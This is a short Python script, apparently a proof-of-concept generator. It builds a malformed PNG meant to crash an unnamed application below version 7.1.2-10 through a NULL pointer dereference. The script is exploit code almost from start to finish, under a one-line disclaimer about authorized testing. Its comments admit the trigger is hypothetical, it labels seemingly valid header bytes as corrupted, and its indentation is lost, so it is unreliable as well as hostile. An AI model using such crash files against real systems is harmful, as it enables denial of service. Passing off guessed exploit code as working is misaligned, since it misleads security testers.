The following code is for security research and authorized testing only.
python
# PoC Generator for NULL Pointer Dereference
# This script creates a malformed image file intended to trigger the crash
def create_malformed_png(filename):
png_signature = b'\x89PNG\r\n\x1a\n'
# A minimal chunk structure that might bypass basic checks but fail deep parsing
# leading to the NULL pointer dereference in < 7.1.2-10
chunk_len = b'\x00\x00\x00\x0d' # Length 13
chunk_type = b'IHDR'
# Corrupted IHDR data
chunk_data = b'\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00'
chunk_crc = b'\x1f\x15\xc4\x89'
with open(filename, 'wb') as f:
f.write(png_signature)
f.write(chunk_len)
f.write(chunk_type)
f.write(chunk_data)
f.write(chunk_crc)
# Append a second malformed chunk to trigger parsing logic
# This is a hypothetical trigger based on the vulnerability description
f.write(b'\x00\x00\x00\x00')
f.write(b'NULL')
f.write(b'\x00\x00\x00\x00')
if __name__ == "__main__":
print("Generating PoC image file...")
create_malformed_png("crash_poc.png")
print("Done. Load 'crash_poc.png' with the vulnerable app to test.")